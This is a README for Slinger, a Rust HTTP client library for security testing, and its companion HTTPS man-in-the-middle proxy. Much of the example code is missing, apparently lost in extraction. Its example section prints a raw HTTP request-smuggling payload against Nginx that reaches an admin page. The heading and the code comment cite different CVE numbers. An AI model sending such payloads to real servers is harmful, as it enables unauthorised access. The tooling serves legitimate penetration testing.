About The Project

Slinger is a workspace containing:
slinger
The core HTTP client library for Rust designed for hackers.
- customizable redirect policy
- http/https and socks5/socks5h proxies
- cookie store
- raw socket request
- HTTPS via tls
slinger-mitm
A Man-in-the-Middle (MITM) proxy with transparent HTTPS traffic interception, similar to Burp Suite.
- Automatic CA certificate generation with improved certificate management (inspired by hudsucker)
- Certificate caching for high performance
- Transparent HTTPS interception using rustls backend
- Traffic interception and modification interfaces
- Random serial numbers and clock skew handling
- Reuses slinger's Socket implementation
- Minimal external dependencies
Getting Started
Using slinger (HTTP Client)
This example enables some optional features, so your Cargo.toml could look like this:
[]
= { = "0.2.9", = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }
And then the code:
async
Using slinger-mitm (MITM Proxy)
Add to your Cargo.toml:
[]
= { = "0.2.9" }
= { = "1", = ["full"] }
Example code:
use ;
use Arc;
async
See slinger-mitm/README.md for more details on MITM proxy usage.
Features
Slinger supports the following optional features:
tls- Base TLS feature (enables TLS types and interfaces without a specific backend)rustls- HTTPS support using Rustls (requirestls, pure Rust implementation)http2- HTTP/2 protocol support (requires a TLS backend)cookie- Cookie handling supportcharset- Character encoding supportserde- Serialization/deserialization supportgzip- Gzip compression supportschema- JSON Schema support
TLS Backend Selection
To use TLS, you must:
- Enable the
tlsfeature - Choose the
rustlsbackend, OR provide a custom TLS connector
Example feature combinations:
# Using rustls backend
= { = "0.2.8", = ["tls", "rustls"] }
# Using custom TLS backend (requires implementing CustomTlsConnector)
= { = "0.2.8", = ["tls"] }
Custom TLS Backend (e.g., native-tls, OpenSSL)
If you want to use native-tls, OpenSSL, or other TLS libraries, you can implement a custom TLS connector. See the native_tls_example.rs for a complete example of how to integrate native-tls.
Example
- Nginx - Http Smuggling CVE-2019-20372
use BufRead;
use ;
/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: & = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked
0
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0
";
async
For more examples, please refer to the example
Contributing
Contributions are what make the open source community such an amazing place to learn, inspire, and create. Any contributions you make are greatly appreciated.
If you have a suggestion that would make this better, please fork the repo and create a pull request. You can also simply open an issue with the tag "enhancement". Don't forget to give the project a star! Thanks again!
- Fork the Project
- Create your Feature Branch (
git checkout -b feature/AmazingFeature) - Commit your Changes (
git commit -m 'Add some AmazingFeature') - Push to the Branch (
git push origin feature/AmazingFeature) - Open a Pull Request
License
Distributed under the GPL-3.0-only License. See LICENSE for more information.
Contact
Your Name - @Kali_Team - root@kali-team.cn
Project Link: https://github.com/emo-crab/slinger